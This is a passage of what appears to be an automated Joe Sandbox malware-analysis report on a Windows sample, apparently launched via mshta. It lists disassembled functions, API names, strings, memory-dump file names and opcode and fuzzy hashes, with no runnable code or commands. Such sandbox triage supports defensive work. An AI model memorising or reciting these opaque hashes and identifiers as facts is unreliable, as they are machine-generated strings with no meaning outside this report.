                                                                                                                                                                                                                                      • API ID: ErrorFileLastWrite
                                                                                                                                                                                                                                      • String ID: U
                                                                                                                                                                                                                                      • API String ID: 442123175-4171548499
                                                                                                                                                                                                                                      • Opcode ID: c155d3c2efe6fcc9017d536d5590e74356888db1e245345eaaebbd58f2ba0871
                                                                                                                                                                                                                                      • Instruction ID: 73bf4f038d7fada361c17f894e43a8ad5c46043bea285f2555c6d9ff99caa31f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c155d3c2efe6fcc9017d536d5590e74356888db1e245345eaaebbd58f2ba0871
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0941D263A18A85C6EB60DF25E4443A96760FF98BA0F404039EE4EC7798DF3CD841C750
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CF918 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CurrentDirectory
                                                                                                                                                                                                                                      • String ID: :
                                                                                                                                                                                                                                      • API String ID: 1611563598-336475711
                                                                                                                                                                                                                                      • Opcode ID: 4482f0b2aa88d097fa4b172b4d0b9d8fa621ceaf6a6e580bcf5a02da10cef38f
                                                                                                                                                                                                                                      • Instruction ID: 84766c581bc0901191c465a5668e8cb4e5c3fcc1fa4ccb4a80d06d4d53fe6076
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4482f0b2aa88d097fa4b172b4d0b9d8fa621ceaf6a6e580bcf5a02da10cef38f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5E219E62A08681C2EF20DB15D04526D63A1FF85F98F558039DA8D8B385EF7CED45CB62
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B2B30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message$ByteCharMultiWide
                                                                                                                                                                                                                                      • String ID: Fatal error detected
                                                                                                                                                                                                                                      • API String ID: 1878133881-4025702859
                                                                                                                                                                                                                                      • Opcode ID: 63802d79dfeaf9ba572d8d5d5ffec4a1fc362ac500ecb438f71a9def6701a566
                                                                                                                                                                                                                                      • Instruction ID: 8bcc3eef16ae1d840f1e580e7e7d6354ed26fbad5866c32c8600f69fcc53d8c4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 63802d79dfeaf9ba572d8d5d5ffec4a1fc362ac500ecb438f71a9def6701a566
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8D216572628686D2EB30DB10F4916EA7364FF84BD4F805139E68D87A65DF3CD605CB00
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B2C50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57windowCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message$ByteCharMultiWide
                                                                                                                                                                                                                                      • String ID: Error detected
                                                                                                                                                                                                                                      • API String ID: 1878133881-3513342764
                                                                                                                                                                                                                                      • Opcode ID: 93d1fdc723546ae567f8218d0d5003b65100b09b9274e520b1b2c374812bf196
                                                                                                                                                                                                                                      • Instruction ID: 23706580ae9a1c4a10daa2af61cb180454fee24b579e9a299503de957c140bdc
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 93d1fdc723546ae567f8218d0d5003b65100b09b9274e520b1b2c374812bf196
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 59217772628A86D2EB30DB10F4916EA7364FF84BD4F805139E68D97A65DF3CD605CB40
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850BFE80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ExceptionFileHeaderRaise
                                                                                                                                                                                                                                      • String ID: csm
                                                                                                                                                                                                                                      • API String ID: 2573137834-1018135373
                                                                                                                                                                                                                                      • Opcode ID: 010ed9957d99c3a93ebfd805af8ad73f2bfdfbf7bf3eba5be717857b77bb313e
                                                                                                                                                                                                                                      • Instruction ID: 0a2fe0032ea565387050bd610f322e436d4bdadfdc26bff3b989cb16f9e65704
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 010ed9957d99c3a93ebfd805af8ad73f2bfdfbf7bf3eba5be717857b77bb313e
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8E11F632618B4182EA618F15E480269B7A5FB88B94F585238DA9C87759DF3DD951CB00
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D041C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DriveType_invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID: :
                                                                                                                                                                                                                                      • API String ID: 2595371189-336475711
                                                                                                                                                                                                                                      • Opcode ID: d56ef0e9341907a819310a39eb36239c8511962549d77217a4abb3fc68a978d5
                                                                                                                                                                                                                                      • Instruction ID: 1fe3e62559b525011a7f023697341dd3841f96f77cdfc39b80c4db788d18ecc0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d56ef0e9341907a819310a39eb36239c8511962549d77217a4abb3fc68a978d5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6101A26291C206C6FB60EF60947127E23A0FF85B29F90053DD94DC6691EF3CED44CA24
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                      Function 0000021E4BD00FC1 Relevance: .0, Instructions: 5COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000028.00000003.1378785654.0000021E4BD00000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000021E4BD00000, based on PE: false
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_40_3_21e4bd00000_mshta.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
                                                                                                                                                                                                                                      • Instruction ID: be6782d1810ff0d98531822258a2a21bc273ff3712061284ba630c2b8fd7762f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 81900218C9640A65D82411A10C4969C54416398158FD548C1485690144D84D02962193
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%